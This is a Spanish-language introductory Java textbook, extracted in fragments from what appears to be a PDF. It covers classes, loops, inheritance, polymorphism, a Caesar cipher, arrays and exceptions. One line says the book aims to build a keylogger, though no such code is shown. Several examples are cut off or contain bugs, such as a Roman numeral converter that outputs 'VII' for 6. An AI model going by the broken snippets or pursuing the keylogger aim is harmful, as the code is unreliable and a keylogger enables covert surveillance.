JAVA
JAVA
Introducción a Java…………………………………………………..............2
Instalación del programa NetBeans IDE 8.2…………………….………...5
Polimorfismo……………………………………………………………………46
Herencia Múltiple…………………………………………………………......49
Palabra clave Static…………………………………………………….……52
Palabra clave Final…………………………………………………….……..55
Clases abstractas……………………………………………………….........58
Encriptación……………………………………………………………….......64
1
Introducción a Java
- Encapsulación
- Herencia
- Polimorfismo
- Enlace dinámico.
2
¿Porque programar en Java?
Java es un lenguaje de programación que puede realizar cálculos
matemáticos, base de datos, aplicaciones gráficas, animaciones, hojas de
cálculo, en te muchas cosas más.
Tiene un enfoque a las páginas web, ya que no tienen que ser estáticas, se
le pueden poner toda clase de elementos multimedia ya que permiten un
alto nivel de interactividad con el usuario.
3
Java enfocado a la seguridad informática:
Esta vez empecé por adoptar la necesidad del concepto de la
programación desde lo más básico y que realmente se pueda
comprender, más conceptos en el entorno de la seguridad.
*
*
*
*
*
*
*
*
*
*
*
*
*
4
Lo que se cubre en nuestro libro:
Capítulo 1: Java con objetos: En este capítulo comenzaremos a programar
desde cero, empezado por saber que es una clase y como la declaramos,
utilizando nuestra herramienta NetBeans, explicaremos a fodo ejemplos
sencillos y claros para mejor comprensión, java es un lenguaje
estructurado, por que permite utilizar las estructuras de control (if else,
while, for, operadores, etc). Java contiene algunas características las
cuales son: Objetos, Clases, Métodos, Subclaes, Herencia Simple.
Desde el principio:
Java es un lenguaje de carácter general y orientado a objetos, ¿realmente
porque es importante conocer el lenguaje de programación Java?
6
Comenzaremos con el proceso de instalación:
Solo con dar un click sobre de ella, se pondra instalar dentro de nuestro
equipo es imponate recalcar que esto es para equipos Windows y
versiones de 64 bits:
Una vez que termine este proceso haremos clic en “next” y nos aparecerá
la siguiente ventana “Imagen 1.2”:
7
Imagen 1.2, Instalando del programa
8
Aceptamos los términos y condiciones y hacemos clic en “next” y nos
aparecerá la siguiente ventana “Imagen 1.4”:
9
Hacemos clic en “Instalt” y esperamos a que termine el programa, y
tendremos nuestro programa listo para utilizar.
Para crear un proyecto es lo que vamos hacer:
Nos iremos a la parte donde dice File y hacemos clic en “new proyect”, le
damos clic y nos aparecerá una ventana como esta, nos despliega una
serie de lenguajes en nuestro caso seleccionaremos java “Imagen 1.6”:
Una vez que tengamos esta ventana, hacemos clic en “next” y nos
arrojara otra ventana como esta, que nos indicara cual es el nombre de
nuestro programa “Imagen 1.7”:
10
En esta imagen le indico también en que parte nos indica donde guardara
los proyecto que vallamos realizando a lo largo de nuestro curso, una vez
hecho esto le damos clic en “Finish”, “Imagen 1.8”.
11
1. Java con Objetos
1.1. Conceptos y Declaración de clases
12
Imagen 1.10, Ejemplo de clase
El cargador de la clase:
13
Funciones - Que describen un algoritmo una vez para ser usado en
muchos casos.
Objetos: Agrupa un conjunto de atributos.
Encapsulación
Herencia
Polimorfismo
14
Empezarnos con nuestro primer programa básico, el más común que se
pueda realizar en cualquier lenguaje de programación:
“HOLA MUNDO”
C:\Program Files\Java\jdk1.7.0_02\bin
Equipo -> Click derecho -> Propiedades -> Configuración Avanzada del
Sistema -> [Pestaña] Opciones Avanzadas -> Variables de Entorno
15
Buscamos en el cuadro mostrado la variable de nombre Path, presionamos
Editar, en el cuadro mostrado, nos vamos hasta el final del texto que ya
está escrito y agregamos lo siguiente sin las comillas:
";C:\Program Files\Java\jdk1.7.0_02\bin;"
Imagen 1.11
Paso 3:
java HolaMundo.java
java HolaMundo
16
Listo ya tenemos nuestro primer programa en Java.
Realizando este ejercicio básico podemos notar que hay una diferencia
entre print, println, la diferencia es que si ejecutamos esto:
System.out.print(“Hola”);
System.out.println(“mundo”);
La salida del programa seria esta:
Hola mundo “Diferencia”
Otro ejmeplo:
System.out.println(“Hola”);
System.out.println(“mundo”);
Salida:
Hola
mundo
Hola
Mundo
17
Secuencias de escape:
18
1.2. Declaración de Atributos y Métodos
A continuación, mostraremos una tabla con los tipos de datos que están
en java “Imagen 1.13”:
19
Los miembros dato
20
En java una clase puede tener cualquier número de métodos para
acceder o modificar el comportamiento de la clase, “Imagen 1.15”.
Método Get:
Método Set:
Las ventajas de usar estos métodos, es la protección de las variables que utilizan
los métodos de acceso que permite a los programadores modificar sencillamente
el código, sin cambiar la forma en que se requiere la clase por otros.
Utilizaremos la clase persona, para dar ejemplo del método Get y Set “Imagen
1.16”:
21
Imagen 1.16, Método Get y Set.
22
1.3. Operadores, Constructores, Inicialización y
Modificadores
Tal cual como los vemos en la “Imagen 1.17” es como los escribimos en
nuestros programas.
23
Los Operadores lógicos tienen prioridad, se mostrará una pirámide general
que indica el orden en que deben evaluarse, “Imagen 1.18”:
24
a = leer.nextInt();
System.out.print(“Escriba el segundo número a sumar:”);
b = leer.nextInt();
resultado = a + b;
System.out.printf(“La suma es %d\n “, resultado)
} // fin del método main
} // fin de la clase
En la parte donde creamos el objeto para leer datos podemos resaltar que
un objeto Scanner permite a un programa leer datos como números,
cadenas, etc.
25
1.2 Ejemplo Operadores lógicos:
import java.util.Scanner;
public class uno_dos
{
public static void main(String[] args)
{
Scanner leer = new Scanner(System.in);
int a, b;
System.out.print(“Escribe el primer número”);
a = leer.nextInt();
System.out.print(“Escribe el segundo número”);
b = leer.nextInt();
if( a == b)
System.out.printf(“ %d == %d\n”, a,b);
if( a != b)
System.out.printf(“ %d != %d\n”, a,b);
if( a < b)
System.out.printf(“ %d < %d\n”, a,b);
if( a > b)
System.out.printf(“ %d > %d\n”, a,b);
if( a >= b)
System.out.printf(“ %d >= %d\n”, a,b);
if( a <= b)
System.out.printf(“ %d <= %d\n”, a,b);
}
26
}
27
1.4 Ejemplo de operadores lógicos:
public class Verdaderoyfalso
{
public static void main(String[] args)
{
String sexo ="Mujer";
int edad = 35;
if (sexo == "Mujer" || edad==25 )
{
System.out.println("Si eres mujer y tienes 25 años ");
}
else
{
System.out.println("Alguna de las opciones no esta correcta ");
}
}
}
28
1.5 Ejemplo de operadores lógicos:
public class Verdaderoyfalso
{
public static void main(String[] args)
{
String sexo ="Hombre";
int edad = 35;
if (sexo == "Mujer" || edad==25 )
{
System.out.println("al menos una es correcta ");
}
else
{
System.out.println("Ninguna de las opciones es correcta ");
}
}
}
29
Comenzaremos hablar sobre los ciclos, que nos ayudan para repetir una
instrucción.
El ciclo while, nos permite especificar que un programa debe repetir una
acción mientras cierta condición sea verdadera.
1.6 Ejemplo de ciclo While:
import java.util.Scanner;
public class ciclo
{
public static void main(String[] args)
{
Scanner leer = new Scanner(System.in);
int contador = 1; // iniciamos el contador que será uno
float x = 0; // x guarda el total de la suma
float y; // aquí se almacenará cada calificación
float promedio; // para sacar el promedio
30
// de calificaciones
System.out.printf("Promedio es: %f ", promedio);
}} //mostramos
31
Ciclo de repetición For:
En el ciclo For es necesario seguir estas reglas:
For (inicialización, condición, incremento)
Ejemplo de ello “Imagen 1.22”:
32
Ciclo de repetición Do While:
33
1.4. Constructor
El constructor tiene el nombre de como definimos la clase y nunca tienen
tipo de retorno a diferencia de un método. Es importante diferenciar entre
un método y un constructor.
34
Imagen 1.24, Ejemplo del constructor.
35
public String getNombre () { return nombre; } //Cierre del método
}
1.11 Ejemplo de constructor, pero con sobre carga:
public class Persona {
//Modificador private es el alcanse
//public (lo ve el proyecto)
//Modifiador no va es default (quien me usa lo ve)
//private nadie (solo la propia clase)
//atributos
private String curp;
private String nombre;
private long aniomesdia;
//constructor default
Persona(){
curp="";
nombre="";
aniomesdia=0;
}
//Sobrecarga del constructor
Persona(String curp, String nombre,long aniomesdia){
this.curp=curp;
this.nombre=nombre;
this.aniomesdia=aniomesdia;
}
//Metodo que imprima el nombre
public void imprimenombre(){
36
System.out.println("nombre="+nombre);
}
//Metodo que no regresa
//Set es para asignar
public void setaniomesdia(long aniomesdia){
this.aniomesdia=aniomesdia;
}
//Metodo que regresa
//Get regresa
public long getaniomesdia(){
return aniomesdia;
}
public void setcurp(String curp){
this.curp=curp;
}
public String getcurp(){
return curp;
}
public void setnombre(String nombre){
this.nombre=nombre;
}
public String getnombre(){
return nombre;
}
public String genero(){
//la doble comilla convierte en string automaticamente
return ""+curp.charAt(10);
37
}
public boolean verificacurp(){
En este ejercicio como podemos ver vamos recopilando temas de los que
anterios mente ya se han hablando en el libro y este ejercicio vemos que
hay ciclos, operadores lógicos métodos GET Y SET.
Pero lo más relevante de este ejercicio es como le damos el uso a nuestro
contrsutror.
38
1.5. Inicialización y Modificadores
Los modificadores de acceso son “public, private, protected y default”
estos determinan desde donde la clase puede acceder a un elemento.
Sólo puede utilizarse sobre los miembros de una clase y sobre interfaces y
clases internas.
Private convierte los elementos en privados para las otras clases, un objeto
de una determinada clase puede acceder a los miembros privados de
otro objeto de la misma clase.
int [] prome;
39
prome= new int[20];
int j=0,i;
float total=0;
for(i=0;i<20;++i)
{
System.out.print("ingrese calificacion del alumno "+i+": ");
prome[i]=teclado.nextInt();
total=total+prome[i];
}
System.out.println("total es: "+total);
total= total/20;
System.out.println("promedio general es: "+total);
for(i=19;i>=0;--i)
System.out.println("alumno "+i+" su promedio es: "+prome[i]);
}
}
40
1.13 Ejercicio: Realizar un programa en java que calculé el mayor y el
menor de n números.
Solución del ejercicio 1.13:
public class Programa {
public static void main(String[] args) {
int cant,num,mayor=0,menor=0,i;
cant=Integer.parseInt(JOptionPane.showInputDialog("ingrese
repeticiones:"));
for(i=1;i<=cant;i++)
{
num=Integer.parseInt(JOptionPane.showInputDialog("ingrese
numero:"));
if(i==1){
mayor=num;
menor=num;
}
if(num<menor)
menor=num;
if(num>mayor)
mayor=num;
}
System.out.println("mayor= "+mayor);
System.out.println("menor= "+menor);
}
}
41
1.6. Herencia Simple
Es un mecanismo que permite la definición de una clase a partir de otra
clase ya existente.
42
1.14 Ejemplo de herencia:
Usaremos el ejercicio 1.11“sobrecarga del constructor” la case persona:
public class Persona {
//Modificador private es el alcanse
//public (lo ve el proyecto)
//Modifiador no va es default (quien me usa lo ve)
//private nadie (solo la propia clase)
//atributos
private String curp;
private String nombre;
private long aniomesdia;
//constructor default
Persona(){
curp="";
nombre="";
aniomesdia=0;
}
//Sobrecarga del constructor
Persona(String curp, String nombre,long aniomesdia){
this.curp=curp;
this.nombre=nombre;
this.aniomesdia=aniomesdia;
}
//Metodo que imprima el nombre
public void imprimenombre(){
System.out.println("nombre="+nombre);
43
}
//Metodo que no regresa
//Set es para asignar
public void setaniomesdia(long aniomesdia){
this.aniomesdia=aniomesdia;
}
//Metodo que regresa
//Get regresa
public long getaniomesdia(){
return aniomesdia;
}
public void setcurp(String curp){
this.curp=curp;
}
public String getcurp(){
return curp;
}
public void setnombre(String nombre){
this.nombre=nombre;
}
public String getnombre(){
return nombre;
}
public String genero(){
//la doble comilla convierte en string automaticamente
return ""+curp.charAt(10);
}
44
public boolean verificacurp(){
45
public void muestradatos(){
System.out.println("ID="+id);
super.imprimenombre();
}
public void setid(long id){
this.id=id;
}
public long getid(){
return id;
}
}
Este es un claro ejemplo de lo que es una herencia.
A lo largo de este libro vamor resolviendo ejercicios que puedan cubrir los
temas de los que estamos hablando para llegar a nuestro objetivo de
poder contruir nuestro keylogger.
46
2. Conceptos avanzados sobre las Clases
2.1. Polimorfismo
El polimorfismo indica un término “muchas formas” que se refiere a la
propiedad por la que es posible enviar mensajes iguales a objetos de tipos
diferentes.
La regla para que esto pueda cumplirse es en los objetos que se utilizan de
manera polimórfica es saber responder al mensaje que le envía.
47
1.15 Ejemplo de polimorfismo:
public class programa12 {
public static void main(String args[]){
programa11 p11[]=new programa11[10];
p11[0]= new programa11();
System.out.println(p11[0].gettipo());
p11[1]= new programa10();
System.out.println(p11[1].gettipo());
//Una variable p11 tipo clase programa1
//Puede tomar el valor de otra clase
//polomorfismo
}
}
48
2.2. Herencia Múltiple
49
Una interfaz solo admite campos de tipo “public static final”, campos
de clase, públicos y constantes. Recordemos que static equivalía a
“de clase” y final a “constante”.
Un interfaz se declara de la siguiente forma:
Public interface NombredelaInterface{
Declaraciones de métodos abstractos;
[atributos constantes];
}
interface Figura{
int area();
}
int lado;
lado = ladoParametro;
}
50
public int area(){ return lado*lado; }
System.out.println(figura.area());
51
2.3. Palabra clave Static
Un caso en el que nos podría ser útil static es en una clase que nos diga la
cantidad de objetos que se han creado basándose en ella.
52
//Se crean instancias
Persona p1 = new Persona();
Persona p2 = new Persona();
Persona p3 = new Persona();
//Accedemos al metodo estatico para ver el numero
//de instancias de tipo Persona creadas
System.out.println(Persona.getNPersonas());
}
}
}
}
53
Public class Objeto {
private static int campo1;
static {
campo1=10;
}
}
54
2.4. Palabra clave final
Una clase final es una clase que no puede ser extendida, es decir ninguna
otra clase la puede heredar, será entonces una clase única y que no
tendrá herederos al no poder ser extendida.
Un método final no puede ser redefinido por una clase hija. Esto quiere
decir que, si yo defino un método final en la clase X y luego la clase Y es
55
hija de la clase X, entonces la clase Y no podrá cambiar la definición de
dicho método, puesto que éste es final.
Declaramos una clase "Madre" que será tendrá un método final, esto
quiere decir que dicho método no podrá ser redefinido.
//Atributos de la clase
//Método de la clase
System.out.print(“Adios”);
56
}
return valor;
System.out.println("IVA:"+IVA);
System.out.println("IVA:"+IVA);
57
2.5. Clases abstractas
Si una clase hereda de una clase abstracta, deberá de sobre escribir todos
los métodos abstractos, si no es así, la clase que hereda deberá ser pasada
a abstractas.
Una clase abstracta puede llevar métodos no abstractos, pero solo con
que exista un método abstracto, la clase deberá ser pasada a abstracta,
como los métodos estáticos no pueden ser redefinidos, un método
abstracto no puede ser estático.
Una clase abstracta si puede tener constructores.
58
Imagen 1.29, Diagrama de una Interfaz y una clase abstracta
// Atributos:
public int numeroLados;
public int area;
public int volumen;
// Métodos:
abstract public void calcularArea();
abstract public void calcularVolumen();
}
59
1.25 Ejemplo 2 de clase abstracta:
import java.util.*;
public class abstracta {
60
class Saxofon extends Instrumento {
public void tocar() {
System.out.println("Saxofon.tocar()");
}
public String tipo() { return "Saxofon"; }
public void afinar() {}
}
// Un tipo de Guitarra
class Guzla extends Guitarra {
public void tocar() {
System.out.println("Guzla.tocar()");
}
public void afinar() {
System.out.println("Guzla.afinar()");
}
}
// Un tipo de Guitarra
class Ukelele extends Guitarra {
public void tocar() {
System.out.println("Ukelele.tocar()");
}
public String tipo() { return "Ukelele"; }
}
61
public class Musica2 {
62
orquesta[i++] = new Ukelele();
afinarTodo(orquesta);
}
}
}
63
2.6. Encriptación
Dentro de la encriptación hay muchos métodos, pero en este libro
hablaremos sobre el algoritmo de código cesar.
Este alfabeto tiene 255 caracteres por lo que las posibilidades de cifrado y
la dificultad para desencriptar se ven aumentadas.
su funcionamiento es el siguiente:
28%26 = 2
Cesar(“A”) =”C”
Así se acomodaría el alfabeto “Imagen 1.30”:
64
1.26 Ejemplo de cómo cifrar en Java:
Paso número 1:
Paso 2:
public class c {
public c(){
}
65
for(int i = 0; i < texto.length();i++)
{
//busca la posicion del caracter en la variable tabla
int pos = tabla.indexOf(texto.charAt(i));
//realiza el reemplazo
if ((pos + key) < tabla.length()){
res = res + tabla.charAt(pos+key);
}
else
{
res = res + tabla.charAt((pos+key) - tabla.length());
}
}
return res;
}
66
res = res + tabla.charAt(pos-key);
}
}
return res;
}
67
if (k <=10){texto2.setText(c.Encriptar(t, k));}
}
68
3. Utilidades y Elementos del JDK
3.1. Expresiones
Una expresión es una combinación de variables, operadores y de métodos
que evalúa a un valor sencillo, el tipo de dato del valor regresado por una
expresión depende de los elementos usados en la expresión.
69
Imagen 1.32, Ejemplo de expresiones
70
3.2. Control de flujo
Las sentencias de control de flujo determinan el orden en que se
ejecutarán las otras sentencias dentro del programa.
Sin este tipo de instrucciones el programa sería totalmente lineal y limitado.
Previamente ya entramos algo con este tema que son los ciclos, pero lo
vamos a refirmar en esta parte en pesaremos por lo vamos básico que son
las instrucciones if, else if y else.
71
Imagen 1.33, Ejemplo de if y else if en diagrama de flujo
72
Imagen 1.34, Ejemplo 2 de if y else if en diagrama de flujo
73
1.33 Ejemplo de If:
//Nuestra condición es admitido
if ( admitido == true) {
System.out.println ("Se ha admitido el valor");
}// termina nuestra condición
//En caso de else cuando no se admite el valor
else {
System.out.println ("No se ha admitido el valor");
}
//Si ninguna de estas se cumple procera a decir que los valores no son
validos.
74
else {
System.out.println ("Los valores no son válidos");
}
System.out.println("Menú de opciones");
System.out.println("-------------------------");
System.out.println("1. Calcular el área de un Cuadrado");
System.out.println("2. Calcular el área de un Triángulo");
System.out.println("3. Calcular el área de un Circulo");
System.out.println("4. Finalizar");
if (opcion == 1) {
System.out.println("Ha seleccionado calcular el área de un
cuadrado...");
} else if (opcion == 2) {
System.out.println("Ha seleccionado calcular el área de un
triángulo...");
} else if (opcion == 3) {
System.out.println("Ha seleccionado calcular el área de un
circulo...");
} else {
System.out.println("Ha seleccionado terminar");
}
75
Switch: evalúa una variable en determinados casos, dependiendo los
paramentos que nosotros deseamos, dentro de nuestros casos también
podemos meter if, else if.
La variable que tiene que ser de tipo entero o un carácter.
Cada caso lo vamos a definir con la palabra “case” dentro de las llaves,
representado una de las posibles instrucciones que puede tomar la
variable.
Si el valor de la variable encaja con alguno de los case se ejecutará el
código de ese case hasta el primer break.
La instrucción break es necesaria para que detenga la ejecución, en caso
contrario seguirá buscando un case, y siempre se pondrá hasta el final de
nuestro case.
La instrucción defaul a su no vez no es necesaria, pero en caso de que se
utilice debe ir al final de todos nuestros case, y con un mensaje necesario.
La sintaxis es la siguiente:
switch (expresion) {
case valor1:
/ / Declaraciones
break; / / opcional
case valor2:
/ / Declaraciones
break; / / opcional
/ / Usted puede tener cualquier número de case.
default: / / Opcional
/ / Declaraciones que cumplirá si la variable no entra en ningún caso.
}
76
Imagen 1.35, Ejemplo de switch en diagrama de flujo
77
Imagen 1.36, Ejemplo 2 de switch en diagrama de flujo
switch(departamento)
{
case 'A' :
System.out.println("Desarrollo");
break;
case 'B' :
System.out.println(“Recursos Humanos");
break;
case 'C' :
System.out.println("Finanzas");
break;
case 'D' :
System.out.println("Mercadeo");
78
default :
System.out.println(“Departamento invalido");
}
System.out.println(“Código para el departamento es " + departamento);
}
}
79
}
80
Crearemos un mini programa que elija uno que hacer en dicha acción
como un menú, será seleccionar que desea hacer uno y la salida del
programa tendrá el formato siguiente:
MENU:
1.- SUMAR
2.- RESTAR
3.- MULTIPLICAR
4.- SALIR
class menu
{
public static Scanner leer = new Scanner(System.in);
public static void main(String[] args)
{
int a;
do{
System.out.println("MENU\n1.-SUMAR\n2.-RESTAR\n3.-MULTI\n4.-SALIR\n");
a = leer.nextInt();
switch(a)
{
case 1:
sumar(); //llamarems al metodo sumar
81
break;
case 2:
System.out.println("Ingrese primer número a restar");
int an = leer.nextInt();
System.out.println("Ingrese segundo número a restar");
int bn = leer.nextInt();
System.out.printf("Resultado %d ", (an-bn));
leer.next();
break;
case 3:
System.out.println("Ingrese primer número a multi");
int ann = leer.nextInt();
System.out.println("Ingrese segundo número a multi");
int bnn = leer.nextInt();
System.out.printf("%d ",multi(ann,bnn));
leer.next();
break;
}
}while(a!=4); // aquí si uno aprieta el 4 como es falso que
} // 4 sea diferente de 4 se rompe el ciclo y termina
// el programa.
public static void sumar()
{
System.out.println("Ingrese primer número a sumar");
int am = leer.nextInt();
System.out.println("Ingrese segundo número a sumar");
int bm = leer.nextInt();
82
System.out.printf("Resultado %d ", (am+bm));
leer.next();
}
public static int multi(int a, int b)
{
return (a*b);
}
}
Otro caso seria del usar un poco de más ingenio y no solo seleccionar
datos aventados a lo seguro si no un ejemplo sencillo seria de cómo usar el
switch pero no definiendo directamente lo que queremos seleccionar
ejemplo el famoso también programa para convertir a números Romanos.
import java.util.Scanner;
class menu
{
public static Scanner leer = new Scanner(System.in);
public static void main(String[]args)
{
int D;
int U;
int N;
int R;
int a;
do
{
83
U = R ; - aquí se guarda el resid en U.
switch (D)
case 1: System.out.print("X");
break;
case 2: System.out.print("XX");
break;
case 3: System.out.print("XXX");
break;
case 4: System.out.print("XL");
break;
case 5: System.out.print("L");
break;
case 6: System.out.print("LX");
break;
case 7: System.out.print("LXX");
break;
case 8: System.out.print("LXXX");
break;
case 9: System.out.print("XC");
break;
case 10: System.out.print("C"); break;
switch (U)
{
case 0: System.out.print(""); break;
case 1: System.out.print("I"); break;
case 2: System.out.print("II"); break;
case 3: System.out.print("III"); break;
case 4: System.out.print("IV"); break;
case 5: System.out.print("V"); break;
case 6: System.out.print("VII"); break;
case 8: System.out.print("VIII"); break;
84
case 9: System.out.print("IX"); break;
}
System.out.println();
System.out.println("Oprima 0 para salir o 1 para continuar");
a = leer.nextInt();
}
while(a==1);
}
}
En el caso de los ciclos for, while y do while solo vamos a refirmar con más
ejercicios y diagramas de flujo.
85
1.39 Ejercicio de pirámides con ciclo for:
86
Imagen 1.39, Resultado del ejercicio 1.40
87
Imagen 1.41, Ejemplo 2 de ciclos while en diagrama de flujo
1.41 Vamos hacer el mismo ejercicio de pirámides, pero con ciclo while:
88
columna=1;
while(columna<=fila){
System.out.print("*");
columna++;
}
fila++;
}
}
}
89
aux--;
}
while(num>0){
System.out.print("**");
num--;
}
}
}
90
Imagen 1.44, Solución del ejercicio 1.43
91
3.3. Arreglos
Un arreglo es un espacio de memoria que permite almacenar una serie de
datos del mismo tipo. Es una secuencia contigua de celdas o casillas, que,
en cada una, guardara un elemento del arreglo.
Para diferenciar cada elemento se utilizan subíndices entre paréntesis
cuadrados [ ].
Declaración de arreglos:
tipo_dato nombre_arreglo[n];
El tipo de dato puede ser int, float, double o char, además de otros tipos.
Pero todos los elementos en el arreglo tienen que ser del mismo tipo.
n, es el tamaño del arreglo, es decir el número de elementos que se
pueden almacenar en el arreglo.
int exped[10];
92
Imagen 1.47, Ejemplo de cómo se vería el arreglo
Pero para hacer esto primero veamos cómo sería un cáliz haciendo una
secuencia de 5 tiradas.
import java.util.Scanner;
import java.util.Random;
class menu
{
public static Scanner leer = new Scanner(System.in);
public static void main(String[]args)
{
System.out.println("Tiraremos un dado, cuantas veces?");
int a = leer.nextInt();
93
Random gen = new Random();
int cara;
for (int contador = 1; contador <= a; contador++)
{
cara = 1 + gen.nextInt(6); //numero aleatorio del 1 al 6
System.out.printf("%d ",cara);// si el contador es divisible
// entre 5 salto de línea.
if(contador % 5 == 0)
System.out.println();
}
}
}
Empecemos con sacar la frecuencia de cuantas veces cayó una cara del
dado si este se arrojó 100,000 veces.
import java.util.Scanner;
import java.util.Random;
class menu
{
public static Scanner leer = new Scanner(System.in);
public static void main(String[]args)
{
System.out.println("Tiraremos un dado, cuantas veces?, te parece que
sean más de 10000?");
int a = leer.nextInt();
Random gen = new Random();
int uno = 0;
int dos = 0;
int tres = 0;
int cuatro =0;
int cinco = 0;
int seis = 0;
94
int cara;
switch (cara)
{
case 1:
uno++;
break;
case 2:
dos++;
break;
case 3:
tres++;
break;
case 4:
cuatro++;
break;
case 5:
cinco++;
break;
case 6:
seis++;
break;
}
}
System.out.println("las veces que cay+o cada numero fueron");
System.out.printf("Cara\t Frecuencia\n");
System.out.printf("1\t%d\n2\t%d\n3\t%d\n4\t%d\n5\t%d\n6\t%d\n",uno,
dos,tres,cuatro,cinco,seis);
leer.nextLine();
}
Veamos cuánto vale cada posición tan solo declarando un arreglo con 10
elementos sin ningún valor, arrojándonos únicamente ceros ya que cuando
se crea un arreglo con ciertas posiciones o número de elementos en
automático se crea con ceros.
class numeros
{
public static void main(String[] args)
{
int[]a;
a = new int[10];
for(int i = 0; i< a.length; i++)
{
System.out.printf("%d \n",a[i]);
}
}
}
96
La condición de continuación en el ciclo for contiene la expresión a.length
que permite acceder o recorrer a todos los elementos del arreglo y se va a
detener hasta que haya accedido a todos sus elementos que son 10.
int[]a = {1,45,50,7}
esto quiere decir que creamos un arreglo con 4 elementos, el dato 0 tiene
valor 1, el dato 1 = 45, dato 2 = 50 y el dato 3 = 7.
Pero ahora veamos cómo lo imprimimos:
class lista
{
public static void main(String[] args)
{
int[]a = {1,45,50,7};
97
1.48 Ejercicio de sumar un arreglo:
class suma
{
public static void main(String[] args)
{
int[]a = {1,45,50,7};
int sum = 0; // empezamos desde cero a contar
for(int i = 0; i< a.length; i++)
{
sum = sum + a[i];
}
System.out.printf("%d \n",sum);
}
}
Que pasa cuando ejecutamos el for pro primera vez sum = 0:
Primero pasa por el for:
res = 0 + 1;
Segundo paso:
sum = 1 + 45;
Tercer paso:
sum = 46 + 50
Cuarto paso:
sum = 96 + 7
y se imprime sum = 103
98
1.48 Ejercicio de la selección mexicana que nos indique cuantas veces ha
ganado, perdido y empatado:
import java.util.Random;
import java.util.Scanner;
class num
{
public static void main(String[] args)
{
Random xd = new Random();
Scanner leer = new Scanner(System.in);
System.out.println("Cuantas veces quieres que juegue México \ny saber
cuántas veces gano, perdió y empato?\n 1.-gano 2.- empato y 3.-
perdió");
int x = leer.nextInt();
int[]a = new int[4]; //contamos la frecuencia
Arreglos bidimensionales:
tipo_dato nombre_arreglo[m][n];
99
int [filas][columnas] a = { {1,2},{3,4} };
import java.util.Scanner;
public class arreglo {
100
System.out.println("Ingrese el número de columnas para su matriz");
int c = leer.nextInt();
1.49 En este ejercicio haremos un programa que lea los números enteros
y los guarde en una matriz de 5 filas y 4 columnas. Se mostrarán los
valores leídos, el mayor:
101
System.out.print(A[i][j] + " ");
}
System.out.println();
}
mayor = menor = A[0][0];//se toma el primero como mayor y menor
filaMayor = filaMenor = colMayor = colMenor = 0;
102
1.50 Ejercicio crearemos una matriz de n * m filas imprimir el mayor
elemento y la fila, columna donde se almacena:
103
int columnamay=0;
for(int f=0;f<mat.length;f++) {
for(int c=0;c<mat[f].length;c++) {
if (mat[f][c]>mayor) {
mayor=mat[f][c];
filamay=f;
columnamay=c;
}
}
}
System.out.println("El elemento mayor es:"+mayor);
104
Después comenzamos con dos for recorremos los elementos de la matriz y
cada vez que encontramos un elemento mayor, lo actualiza y
procedemos con la variable mayor y la posición donde se almacena.
For(int f=0; f<mat.length; f++)
{
For(int c=0; c<mat[f].legth; c++){
If(mat[f][c]>mayor)
{
Mayor=mat[f][c];
Filamay=f;
Columnamay=c;
}
}
También mostramos lo que es un arreglo lo útil que nos podría servir ya que
que poder grandes cifras y optimizar nuestro programa.
105
4. Excepciones
4.1. Definición de Excepción
Una excepción es un proceso usado para describir algo que no esperaba, o
sencillamente problemas.
106
Excepciones más comunes en Java
ArithmeticException
107
proporcionarla al ir liberando objetos que no se usan y devolviendo
memoria al sistema.
NoClassDefFoundException
Se referenció una clase que el sistema es incapaz de encontrar.
ArrayIndexOutOfBoundsException
Este error se reserva para eventos que no deberían ocurrir. Por definición, el
usuario nunca debería ver este error y esta excepción no debería lanzarse.
108
Imagen 1.52, Ejemplo de tipo de excepción
109
4.2. Sentencia try-catch-finally
El control de flujo de un programa Java sabemos que lleva a cabo con
sentencias del tipo if, while, for, return, break, etc… Estas sentencias forman
un conjunto de palabras reservadas que determinan cierta funcionalidad.
- Try.
- Catch.
- Finally.
Try en inglés es el verbo intentar, así que todo el código que vaya dentro
de esta sentencia será el código sobre el que se intentará capturar el error
si se produce y una vez capturado hacer algo con él. Lo ideal es que no
ocurra un error, pero en caso de que ocurra un bloque try nos permite estar
preparados para capturarlo y tratarlo.
try {
System.out.println(“bloque de código donde pudiera saltar un error
es este”);
}
En catch, este bloque definimos el conjunto de instrucciones necesarias o
de tratamiento del problema capturado con el bloque try anterior. Es
decir, cuando se produce un error o excepción en el código que se
encuentra dentro de un bloque try, pasamos directamente a ejecutar el
conjunto de sentencias que tengamos en el bloque catch. Esto no es
exactamente así pero ya explicaremos más adelante todo el
funcionamiento.
catch (Exception e) {
System.out.println(“bloque de código donde se trata el
problema”);
}
110
después de catch hemos puesto unos paréntesis donde pone “Exception
e”. Esto significa que cuando se produce un error Java genera un objeto
de tipo Excepción con la información sobre el error y este objeto se envía
al bloque catch.
Y para finalizar tenemos el bloque finally que es un bloque donde
podremos definir un conjunto de instrucciones necesarias tanto si se
produce error o excepción como si no y que por tanto se ejecuta siempre.
finally {
System.out.println(“bloque de código ejecutado siempre”);
}
111
public class Programa {
try{
System.out.println("Instrucción 1.");
System.out.println("Instrucción 2.");
System.out.println("Instrucción 3, etc.");
112
1.51 Ejercicio de try catch:
public class Prgrama12 {
public static void main (String args[]){
try{
113
Imagen 1.55, Ejemplo de try catch 1.51
114
}
115
El sistema de control de excepciones puede ser anidado a cualquier nivel.
Debe mantenerse la regla de que un bloque try debe ser seguido por
un catch.
Pueden existir secuencias try-catch dentro de bloques try y de
bloques catch.
Captura de excepciones:
do{
error= false;
try{
System.out.print("Ingresa un valor: ");
a= entrada.nextInt();
entrada.nextLine();
116
System.out.print("Ingresa otro valor: ");
b= entrada.nextInt();
entrada.nextLine();
117
Con getMessage obtenemos una cadena descriptiva del error (si la hay).
Con printStackTrace se muestra por la salida estándar la traza de errores
que se han producido (en ocasiones la traza es muy larga y no puede
seguirse toda en pantalla con algunos sistemas operativos).
Un ejemplo de ello:
try {
... // Aqui va el codigo que puede lanzar una excepcion
} catch (Exception e) {
System.out.println ("El error es: " + e.getMessage());
e.printStackTrace();
}
118
public class Persona {
Dentro del bloque try vamos a incluir el código que puede lanzar la
excepción, mientras que dentro del catch vamos a manejar la posible
excepción lanzada dentro del try, en nuestro caso simplemente vamos a
mostrar el mensaje (“La edad debe ser positiva”) de error que nos
proporciona la excepción.
119
Imagen 1.59, Ejemplo de lanza de excepción
120
5. Interfaces Gráficas
5.1. Menús
Los Menús son el centro de la aplicación, ya es que es una interfaz gráfica
que interactúa con el usuario.
Algunos componentes que se utilizan dentro de las interfaces son:
121
Programa03(double base,double altura){
this.base=base;
this.altura=altura;
base=0;
altura=0;
}
/*metodo que calcula el area y regreasa el resultado*/
122
}
El segundo paso es crear un JFrame Form que se va llamar: “Programa05”
Vamos a arrastrar los siguientes elementos:
// Variables declaration - do not modify
